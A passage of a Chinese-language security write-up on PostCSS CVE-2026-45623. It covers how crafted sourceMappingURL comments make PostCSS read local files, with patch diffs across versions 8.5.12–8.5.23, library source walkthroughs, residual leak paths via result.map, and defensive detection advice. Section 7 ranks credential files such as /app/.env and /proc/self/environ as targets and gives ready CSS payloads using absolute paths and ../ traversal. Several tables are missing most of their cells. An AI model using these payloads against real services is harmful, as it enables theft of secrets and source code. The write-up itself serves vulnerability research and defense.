8.5.12 的补丁做了两件事,对应两次关键提交(均发生在 2026-04-26):
提交 | 作用 |
| 先做 |
| 给非受信路径加 |
这两刀砍在不同位置,缺一不可:
刀口 | 旧数据流 | 新数据流 | 实际效果 |
第一刀:外显切断 |
|
| 非 |
第二刀:输入收缩 | 任意注释值都可落到磁盘读取 | 非受信路径默认必须 | 攻击者很难再把 |
如果只有第一刀:攻击者仍能 blind read 任意文件,只是少了最方便的报错回显。如果只有第二刀:只要某些文本文件碰巧是可解析 JSON,或异常链路还在,攻击面仍然不干净。更重要的是,第一刀改变了核心安全语义——8.5.11 是"先信任文件内容、再交解析器判断",8.5.12 变成"先验证它像不像 source map、再决定是否处理"。
关键 diff:
constructor(css, opts) {
if (opts.map === false) return
+ if (opts.unsafeMap) this.unsafeMap = true
}
consumer() {
- this.consumerCache = new SourceMapConsumer(this.text)
+ this.consumerCache = new SourceMapConsumer(this.json || this.text)
}
- loadFile(path) {
+ loadFile(path, cssFile, trusted) {
+ if (!trusted && !this.unsafeMap) {
+ if (!/\.map$/i.test(path)) return undefined
+ }
}
- return this.loadFile(map)
+ let unknown = this.loadFile(map, file, false)
+ if (unknown) {
+ try {
+ this.json = JSON.parse(unknown.replace(/^\)]}'[^\n]*\n/, ''))
+ } catch {
+ return undefined
+ }
+ }
+ return unknown攻击链因此从:
读任意文件
→ 非 JSON
→ 自动异常外显变成了:
读任意可达的 .map 文件
→ 必须是合法 JSON
→ 只有调用方把 result.map / sourcesContent 向外暴露时才真正泄露残余面不再只是"任何返回 CSS 的接口",而是更具体的外显场景。下面两个向量本地验证:
向量 A:无 from,绝对路径 .map
这不是异常侧信道,而是完整的 source map 合并结果。只要目标 .map 自带 sourcesContent,泄露的是整段源码,不再是 10 个字节前缀。
向量 B:from 已设置,../ 越界读取外部 .map
这说明:外部 .map 确实会被读取并并入结果;泄露点已经从"V8 异常消息"变成了"生成后的 result.map 内容"。
所以 8.5.12 - 8.5.17 的典型受害面收窄到:
- 在线 CSS playground / formatter 同时返回
css和map - 构建 API 把
result.map.toString()写入 HTTP 响应 - 调试接口把 map JSON 直接吐给前端
- CI / SSR / bundler 流水线把生成 map 作为产物公开下载
6.2 8.5.18:把 from 目录边界补上,但无 from 的绝对路径 .map 仍在
PostCSS 8.5.18 于 2026-07-12 发布。官方 changelog 的表述是:
Restricted loading previous source maps file to the `opts.from` folder for security reasons对攻击者而言,这一刀切掉的是"from 已设置 + 目标 .map 位于工作目录之外 + 通过 ../ 逃逸过去"这条路径。但它没有处理"调用方根本没传 from"这条默认入口。
本地验证:
这一阶段的攻击者画像进一步收窄:
- 如果业务总是设置
from,而且对外暴露的只是当前生成 map,那么跨目录.map读取基本没了 - 如果业务根本不传
from,那绝对路径.map仍然可以被偷读并借result.map外显
6.3 8.5.23:把最后一条默认入口关掉
PostCSS 8.5.23 于 2026-07-24 发布。release note 只有一句:
Do not load source map without `opts.from` for security reasons.对利用者来说它等于:
- 绝对路径
.mapblind read 默认失效 - 无
from的线上处理接口不再是残余攻击面
本地验证:
这时默认无 from 路径也没了,原始 CVE 与两个 follow-up advisory 的主残余面基本完成收口。
6.4 把版本差异压成一张表
版本区间 | 非 | 前缀异常泄露 |
| 额外外显条件 |
| ✅ | ✅ | ✅ | 无,异常本身就是外显 |
| ❌ | ❌ | ✅ | 需要 |
| ❌ | ❌ | ⚠️ 仅无 | 同上 |
| ❌ | ❌ | ❌ | 默认入口关闭 |
这个矩阵比"修了 / 没修"更接近真实攻击面。
6.5 为什么不是一次补完
如果把这个漏洞只理解为"readFileSync() 前少了一个后缀判断",就很难解释为什么 PostCSS 要连续在 8.5.12、8.5.18、8.5.23 三次收口。更准确的看法是:它同时踩中了三个默认信任假设。
默认假设 | 旧行为 | 被哪次补丁打破 |
注释里的 | 非 |
|
只要基于 |
|
|
即使没有 | 绝对路径 |
|
这三步分别对应三层不同的安全语义:8.5.12 处理"读什么",8.5.18 处理"能从哪里读",8.5.23 处理"什么时候允许读"。
真正的问题不是某一个危险函数,而是一串"默认帮你做事"的隐式信任假设叠在一起。
6.6 别漏掉 data: 这条 inline 分支
8.5.12 的"第一刀"JSON.parse 预检看起来盖住了非 .map 文件的外显,但它在源码里只放在一条分支上——else if (this.annotation) 的文件分支;else if (this.inline) 的内联分支没有经过同样的预检。下面把这一差异从源码里取出来。
6.6.1 loadMap 在内联分支的源码
lib/previous-map.js 的 loadMap(脆弱版同结构,修复版本到 8.5.26 都保持此结构):
// lib/previous-map.js L129-144
} else if (this.inline) {
return this.decodeInline(this.annotation) // ← 直接 decode
} else if (this.annotation) {
let map = this.annotation
if (file) map = join(dirname(file), map)
let unknown = this.loadFile(map, file, false)
if (unknown) {
try {
this.json = JSON.parse(unknown.replace(/^\)]}'[^\n]*\n/, '')) // ← 仅此分支有预检
} catch {
return undefined // ← 仅此分支吞错
}
}
return unknown
}可以看到:
- 文件路径分支(
else if (this.annotation))在readFileSync后包了一层try / catch,解析失败即return undefined,不会让SyntaxError走出去; - 内联路径(
else if (this.inline))没有这层try / catch,decodeInline(...)直接当成text返回。
后续在 Input 构造函数里(lib/input.js L72-76):
if (map.text) {
this.map = map
let file = map.consumer().file // ← consumer() 调用 SourceMapConsumer
...
}consumer() 会把 this.text 直接喂给 new SourceMapConsumer(this.text),随即落到 parseSourceMapInput 的 JSON.parse 上——一个不被任何一层吞错的 SyntaxError。
6.6.2 实测:内联路径下 8.5.26 仍然按"前缀外显"形态抛错
跟随 §4.5 / §4.7 的形态跑了三组样本,全部在 postcss@8.5.26 上重现:
注释 payload |
|
|
|
|
|
|
|
|
|
最后一行尤其值得标记:当编码不在 decodeInline(lib/previous-map.js L39-58)的实现白名单内,它主动 throw new Error('Unsupported source map encoding ' + encoding),且 encoding 是注释里以 , 分隔的 mime 子串——内容显然是攻击者可控的。这条错误没有被任何上层吞,会同一路径直接冒到调用方。
对应实现如下,关键点是它先按 ; / , 拆 mime,再只接受极少数编码;未命中白名单时直接把攻击者可控的 encoding 拼进异常:
// lib/previous-map.js L39-58(postcss@8.5.26)
decodeInline(text) {
let base64 = text.substr(0, 7).toLowerCase() === 'base64,'
let encoding = text.substr(0, 9).toLowerCase() === 'charset=utf' ? text.substr(0, 16) : ''
let uri = 'data:application/json,'
if (base64) {
return Buffer.from(text.substr(7), 'base64').toString()
} else if (encoding) {
return decodeURIComponent(text.substr(encoding.length + 1))
} else if (text.charAt(0) === ',') {
return decodeURIComponent(text.substr(1))
} else {
throw new Error(
'Unsupported source map encoding ' +
text.substr(0, text.indexOf(','))
)
}
}6.6.3 是漏洞吗?取决于"谁控制内联数据"
- 直接攻击者控制 CSS 的常见模型下,
data:内联分支的"前缀外显"是无效的:被泄露的字节就是攻击者自己写进注释的 base64/charset_payload,没有信息增量。所以检察和评分上它不构成"再发漏洞",原 GHSA 也未把它算进8.5.12残余面。 - 可一旦
data:注释不是攻击者直接写、而是某个上游 build / proxy 屏蔽层替他拼出来的(例如某 CDN 把源文件映射到/*# sourceMappingURL=data:application/json;base64,...*/注释再喂给 PostCSS),8.5.12+的内联路径会继续以SyntaxError形态外显那段 server 端拼出来的字节前缀。这是8.5.12文件分支外显切断的事实在内联分支上不成立的具体语义。
防守推论:检测规则不要只刷"非 .map 文件读到的异常",还应该把 Unsupported source map encoding 与 SyntaxError ... .* is not valid JSON.*urlSourceMapping.*data: 一同入告警。
代码评审侧则建议把 else if (this.annotation) 的 try { JSON.parse } catch { return undefined } 重构成 loadMap 内部对所有 text 返回路径都生效的统一预检,跟"file vs data:"的拆分平级处理。
6.7 sourcesContent 是怎么一路并进结果里的
§6.1 提到"sourcesContent 被并入 result.map 后整段源码外显"的事实,但仅停留在断言,没有走完代码链路。下面把这条链路从 lib/map-generator.js 与 source-map-js/lib/source-map-generator.js 里取出来逐节对账。
6.7.1 三处关键源码定位
// lib/map-generator.js L46-63
applyPrevMaps() {
for (let prev of this.previous()) {
let from = this.toUrl(this.path(prev.file))
let root = prev.root || dirname(prev.file)
let map
if (this.mapOpts.sourcesContent === false) {
map = new SourceMapConsumer(prev.text) // 显式关闭则单独构造、并把 sourcesContent 抹掉
if (map.sourcesContent) map.sourcesContent = null
} else {
map = prev.consumer() // ← 默认走这里
}
this.map.applySourceMap(map, from, this.toUrl(this.path(root)))
}
}// lib/map-generator.js L103-124
generateMap() {
if (this.root) {
this.generateString()
} else if (this.previous().length === 1) { // ← 无插件路径
let prev = this.previous()[0].consumer() // ← 直接拿外部 .map 的 consumer
prev.file = this.outputFile() // ← 把 file 字段覆盖为本地 outputFile
this.map = SourceMapGenerator.fromSourceMap(prev, { ignoreInvalidMapping: true })
} else {
this.map = new SourceMapGenerator({ ... }) // 其余兜底
...
}
if (this.isSourcesContent()) this.setSourcesContent()
if (this.root && this.previous().length > 0) this.applyPrevMaps() // ← 有插件路径
if (this.isAnnotation()) this.addAnnotation()
...
}// node_modules/source-map-js/lib/source-map-generator.js L244-260(applySourceMap 末段)
aSourceMapConsumer.sources.forEach(function (sourceFile) {
var content = aSourceMapConsumer.sourceContentFor(sourceFile)
if (content != null) {
if (aSourceMapPath != null) {
sourceFile = util.join(aSourceMapPath, sourceFile)
}
if (sourceRoot != null) {
sourceFile = util.relative(sourceRoot, sourceFile)
}
this.setSourceContent(sourceFile, content) // ← 把外部 .map 的 sourcesContent 写入当前 generator
}
}, this)source-map-js 的 fromSourceMap(同源码文件 L42-91)也走类似步骤;无插件路径下,generateMap() 直接落进这里:
// node_modules/source-map-js/lib/source-map-generator.js L42-91(节选)
SourceMapGenerator.fromSourceMap = function (aSourceMapConsumer, generatorOptions) {
var sourceRoot = aSourceMapConsumer.sourceRoot
var generator = new SourceMapGenerator(generatorOptions)
aSourceMapConsumer.eachMapping(function (mapping) {
var newMapping = {
generated: {
line: mapping.generatedLine,
column: mapping.generatedColumn
}
}
if (mapping.source != null) {
newMapping.source = mapping.source
if (sourceRoot != null) {
newMapping.source = util.relative(sourceRoot, newMapping.source)
}
newMapping.original = {
line: mapping.originalLine,
column: mapping.originalColumn
}
if (mapping.name != null) newMapping.name = mapping.name
}
generator.addMapping(newMapping)
})
aSourceMapConsumer.sources.forEach(function (sourceFile) {
var content = aSourceMapConsumer.sourceContentFor(sourceFile)
if (content != null) {
generator.setSourceContent(sourceFile, content) // ← 这里复制 sourcesContent
}
})
return generator
}6.7.2 透传路径拆开看
把上面三个定位串到攻击链上:
调用路径 | 触发条件 | 是否依赖 |
无插件路径: | 调用方使用 | ✅,复制逻辑直接写在 |
有插件路径: | 调用方通过至少一个 PostCSS 插件,使 | ✅,由 |
关闭路径: | 调用方显式设置 | ❌, |
注意 isSourcesContent()(lib/map-generator.js L244-252)的默认判定;它和 PreviousMap.withContent() 配合后,默认语义其实就是"只要 previous map 自带内容,就继续保留":
// lib/map-generator.js L244-252
isSourcesContent() {
if (typeof this.mapOpts.sourcesContent !== 'undefined') {
return this.mapOpts.sourcesContent
} else {
return this.previous().some(i => i.withContent())
}
}// lib/previous-map.js L152-157
withContent() {
return (
this.consumer().sourcesContent &&
this.consumer().sourcesContent.length > 0
)
}- 显式设置时取该值;
- 不设置时,只要
previous()中任意一个withContent()返回true,就跟着保留——而withContent()只看consumer().sourcesContent是否非空数组(lib/previous-map.jsL152-157)。 - 既无 explicit 设也无可信 previous map,才回落到
true。
简单说,默认就是"保留 previous map 的 sourcesContent";想关掉必须主动设 { map: { sourcesContent: false } }。这把决定权交给了宿主层,而绝大多数宿主层并不显式介入选项——这正是 §6.1 §7.3 中"result.map 直接外显"在生产里仍然常见的根因。
6.7.3 攻击者能控的字段,不止 sourcesContent
source-map-js/lib/source-map-generator.js 的 applySourceMap(L183-L260)里有几处直接信任 aSourceMapConsumer 字段。前段先决定 sourceFile,末段再批量复制 sourcesContent:
// node_modules/source-map-js/lib/source-map-generator.js L195-200(节选)
var sourceFile = aSourceFile
if (aSourceFile == null) {
if (aSourceMapConsumer.file == null) {
throw new Error('SourceMapGenerator.prototype.applySourceMap requires either an explicit source file, or the source map\'s "file" property. Both were omitted.')
}
sourceFile = aSourceMapConsumer.file // ← 直接信任 consumer.file
}- L195-200:
sourceFile = aSourceMapConsumer.file——当aSourceFile入参为null时使用。PostCSS 的applyPrevMaps显式传from,这一条对 PostCSS 路径暂时打不上。 - L244-255:
aSourceMapConsumer.sources.forEach(... sourceContentFor(...))——sources数组与sourcesContent数组完全由 attacker 的.map决定。 - L248
util.join(aSourceMapPath, sourceFile):参与路径拼接,用作外部 map 出处 root 说明。
因此供攻击者控的真实可控面是:整个 sources 列表 + 每条对应的 sourcesContent 文本块。除了通过 result.map.toString() 反序列化泄露原内容,这些字符串还会进入:
- 构建工具对
result.map做的临时 JSON 写盘操作(如 Vite、Webpack devtool 把 map 写到{file}.map); - 任何把
result.map直接JSON.parse给前端调试接口 / sourcemap 上传服务 / source-map-explorer 之类组件的处理代码——它把攻击者内部字符串当可信 source 处理,潜在的二次注入。
6.7.4 8.5.18 / 8.5.23 是否关了这条链
把代码放回版本时间线:
8.5.12先加了loadFile的.map后缀限制与JSON.parse预检;8.5.18再补from目录边界(见 §6.2)。这些修复都只挡进 sink 的路径,对applySourceMap/fromSourceMap的合并逻辑一字未动——只要 attacker 的.map通过新约束(例如位于from目录内),透传链依旧成立。8.5.23关闭"无from默认入口",从源头切断进入loadMap的 annotation 分支。这一刀同样没有改map-generator.js的合并语义。"残余面被切掉"是指"没法再做这件事",而不是"做事时的合并逻辑变了"。
因此 external source map 的合并链路本身一直保留到现在;只要存在进入它的入口(具体的版本对应入口见 §6.4),攻击者就仍可把该 map 的 sources / sourcesContent 合入输出。
6.8 unsafeMap: true 打开后,补丁会失掉哪些保护
8.5.12 引入了 opts.unsafeMap 作为"信任白名单开关"(lib/postcss.d.ts L357-359 注释直接写 Disable source map file protections),同一版本也首次加入了 .map 后缀限制。后续 8.5.18 / 8.5.23 又分别补上目录边界与 from 强制。类型声明本身就已经把这个开关的语义写得很直白:
// lib/postcss.d.ts L357-359(节选)
interface MapOptions {
unsafeMap?: boolean
// Disable source map file protections
}把 unsafeMap: true 打开后,loadFile 第一段全部 if-block 都被绕过——这三道路径侧保护会同时失效。下面把绕过后的具体复发面用 8.5.26(截至本文最新)实测出来。
6.8.1 loadFile 当前形态与 unsafeMap 范围
// lib/previous-map.js L97-114 (postcss@8.5.26)
loadFile(path, cssFile, trusted) {
if (!trusted && !this.unsafeMap) {
if (!/\.map$/i.test(path)) return undefined // (a) 后缀过滤
if (!cssFile) return undefined // (b) 强制要求 from
let rel = relative(realPath(dirname(cssFile)), realPath(path))
if (rel === '..' || rel.startsWith('..' + sep) || isAbsolute(rel)) {
return undefined // (c) 目录边界
}
}
this.root = dirname(path)
if (existsSync(path)) {
this.mapFile = path
return readFileSync(path, 'utf-8').toString().trim()
}
}trusted=true 来自 opts.map.prev 函数回调分支;当前版本在 loadMap() 里是这样走的:
// lib/previous-map.js L119-127(postcss@8.5.26)
loadMap(file, prev) {
if (prev === false) return false
if (prev) {
if (typeof prev === 'string') {
return this.loadFile(prev, file, true)
} else if (prev instanceof PreviousMap) {
return prev.text
}
}
// ...
}也就是说,trusted=true 是专门留给调用方显式提供 previous map 的受信入口;unsafeMap=true 则是把 annotation 分支读到的外部路径也整体抬到近似同等级别。它只影响 loadFile 这一关。loadMap 外层的 JSON.parse 预检(§6.1 第一刀)仍然存在,因此即便打开 unsafeMap,"非 JSON 文件 → SyntaxError 异常回显"这一原始 CVE 路径并不会复活。
那么真正复活了什么?下面是 8.5.26 的五组实测:
6.8.2 8.5.26 + unsafeMap: true 真实表现矩阵
目标文件 | 默认(unsafeMap 未设) |
| |
|
|
| 仍被外层预检吞掉,无前缀外显 |
|
|
| |
|
|
| |
|
|
| 完整 source map 透传 |
| n/a(默认路径下 |
| XSSI 正则 |
6.8.3 三条非显眼的复发面
矩阵里有三条不是"原 CVE 复活"但确实成立的副作用:
- JSON 配置文件的字段探针。任何以 JSON 形式存在但不符合 source map schema 的文件(典型如
package.json、tsconfig.json、.eslintrc、manifest.json),在unsafeMap: true下会触发source-map-js/lib/source-map-consumer.js中getArg抛出的"X" is a required argument.——只告知X字段缺失,不直接读出内容。对常见输入,缺失顺序通常体现为先卡在version或sources之类必需字段,因此它更像一个"字段存在性 oracle",可帮助攻击者判断目标 JSON 离合法 source map 还差哪些字段。 version只有在更早必需字段都满足时才可能外显。Unsupported version: <version>不是"只要有version字段就一定出现"。以常见package.json为例,source-map-js会先因缺少sources报错,实测得到的是ERR: "sources" is a required argument.。只有当目标 JSON 已经具备version、sources、mappings等 source map 必需骨架,但version != 3时,错误消息才会进入Unsupported version: <version>这一支路。- 只有"合法 source map 形状的 JSON"才会进入
result.map。/tmp/.../bad-source-map.json这种非.map后缀、但内容本身满足 source map schema 的目标,在默认配置下会被.map$正则挡掉(见上表);一旦unsafeMap: true,这个保护作废,它的sources/sourcesContent就会通过SourceMapConsumer → applySourceMap / fromSourceMappipeline 合入result.map。但普通 JSON 并不会因此"全量泄出";如果缺少 source map 所需字段,流程会在SourceMapConsumer阶段直接报错并中止。
6.8.4 unsafeMap 的设计合理性与其威胁模型
8.5.12 引入 unsafeMap 本意是给"对外部输入已经做 sanitize、自己负责边界"的项目一个开关,避免被新加的 .map 后缀和 JSON 预检打断。问题是:
- 文档只在
postcss.d.ts给了一行注释,没有列明"打开后哪些保护失活"; - 上层框架(Vite、Next.js、Webpack
postcss-loader等)但凡有"我要保留旧 source map 处理兼容性"的需求,很容易顺手设unsafeMap: true,从而在不知情下把三道补丁全关掉; - 当前公开 npm registry 上未观察到主流项目的文件
unsafeMap出现率,但搜索量与项目维护者文档稀疏意味着这是一个未来易踩、当前未被审计的开关。
对防守方有两点具体建议:
- 在依赖审计 / SBOM 中针对
postcss的 caller 做opts.unsafeMap === true的静态查找;任何调用点都应当被视为等同于"该调用点不受 8.5.12 / 8.5.18 / 8.5.23 三道补丁保护"。 - 对自身代码库无条件
grep -rni "unsafeMap",特别是 source map 处理与 CI / CDN 边界场景。一旦命中,应当对该调用点的输入是否真的受信进行文档化复核。
从利用角度再看一遍
7.1 <= 8.5.11:最值钱的目标不是"能读文件",而是"能稳定带回什么前缀"
这一阶段的读法很粗暴,但回显窗口很短,所以目标选择很讲究。
优先级最高的目标通常是:
/app/.env/proc/self/environ/etc/passwd- 部署目录下的
.npmrc、.yarnrc、服务账户配置 - 任何首部能明显暴露类型或凭据前缀的文件
原因很简单:只有大约一小段前缀,必须尽量让这段前缀高信噪比。
/* 绝对路径 */
a {}
/*# sourceMappingURL=/app/.env */
/* 已设置 from 时的目录穿越 */
a {}
/*# sourceMappingURL=../../../../../proc/self/environ */7.2 8.5.12+:真正值钱的目标变成高内容密度 .map
当攻击面收缩到 .map,目标选择思路也要完全切换。优先目标不再是 .env,而是:
- 前端 production bundle 的
.js.map - SSR / Node server bundle 的
.map - TypeScript 编译产物
.map - 任何带
sourcesContent的 source map - 内网调试环境未删掉的构建产物
为什么这些 .map 值钱?因为它们可能直接包含:
- 源代码全文
- 内部绝对路径
- API 路由
- 私有逻辑与 feature flag
- 注释中的临时密钥、测试 token、内部域名
如果 sourcesContent 被保留,攻击者拿到的往往不是"文件存在",而是可直接阅读的源码。
7.3 8.5.12+ 的真正外显点有哪些
残余 .map 利用必须和"哪里会把 map 输出出去"绑在一起看。常见外显 sink:
- HTTP API 直接返回
result.map.toString() - playground / formatter 在 JSON 响应里同时返回
css与map - 构建服务把生成 map 作为可下载产物
- debug endpoint 把 map object 序列化到日志或响应
- 内部平台把 source map 上传到对象存储,再返回临时 URL
如果目标应用只消费 result.css,完全不看 result.map,那 8.5.12+ 的可利用性会大幅下降。
7.4 白帽实战里可以怎么分段判断
可以把实战判断压缩成四步:
- 先判断目标是不是把不可信 CSS 喂给了 PostCSS。
- 再判断是哪个版本段:
<= 8.5.11还是8.5.12+。 - 如果是
<= 8.5.11,打非 JSON 高价值文本目标,靠异常前缀拿结果。 - 如果是
8.5.12+,放弃.env幻觉,转向合法.map+result.map外显链。
一句话总结就是:
8.5.11 以前:抢"异常"
8.5.12 以后:抢"map 出口"7.5 8.5.12+ 为什么更像"源码窃取"
从 CWE 或 patch 语义看,它当然仍然是文件读取问题。但从真实攻击收益看,后续版本更像:
- 读取特定格式的 source map
- 借 map merge 机制把其内容带进输出
- 再通过
sources/sourcesContent做源码和路径窃取
因此如果文章面向白帽社区,后续阶段的标题最好不要继续强调"任意文件读取",而要强调:
attacker-controlled previous source map ingestion
这更符合 GHSA-r28c-9q8g-f849 和 GHSA-fxqj-rqcc-2cmp 的真实攻击形态。
最后补几条我觉得值得记下的观察
8.1 这类洞经常栽在"默认行为提前触发"
最危险的不是 readFileSync() 本身,而是它被挂在一个调用方通常不会预期的默认行为链上:
处理 CSS
≠
只做 CSS 解析
处理 CSS
=
顺手自动加载 previous source map
=
顺手访问本地文件系统这种设计一旦缺少边界检查,就非常容易从"便捷特性"滑成漏洞。
8.2 这条链很适合拿去做 CodeQL / taint 建模
这条链几乎是教科书级别的 taint flow:
Source: CSS 注释中的 sourceMappingURL
↓
Flow: getAnnotationURL() → loadMap() → join()
↓
Sink: readFileSync()对白帽来说,这类规则完全可以迁移到:
- 其它 source map / previous map 处理器
- Markdown / HTML / SVG 注释解释链
- "输入中的元数据字段"被自动解释成文件路径的解析器
8.3 如果文章要压缩,我会保留这三个判断
- 原始 CVE 的爆点,在于异常自己帮攻击者把数据带出来。
- 后续版本的爆点,在于合法
.map会被悄悄并入result.map。 8.5.12+不是"还是同一个洞",而是"同一条默认链上残留的不同攻击原语"。
收个尾
CVE-2026-45623 最值得记住的,不是那一行 CSS 注释本身有多巧,而是它背后的那套规律:
默认启用的隐式行为
+ 用户可控元数据
+ 缺失安全边界
= 可稳定利用的解析器漏洞一直到 8.5.23,这条默认入口才真正被收口。
附录
A. 快速复现命令
# 如果你已经按上文创建了脚本文件
./repro/run.sh vuln
./repro/run.sh fixed
./repro/verify.sh
# 不落盘 shell 包装脚本也可以,直接执行 compose 命令即可
docker compose build vuln && docker compose run --rm vuln
docker compose build fixed && docker compose run --rm fixed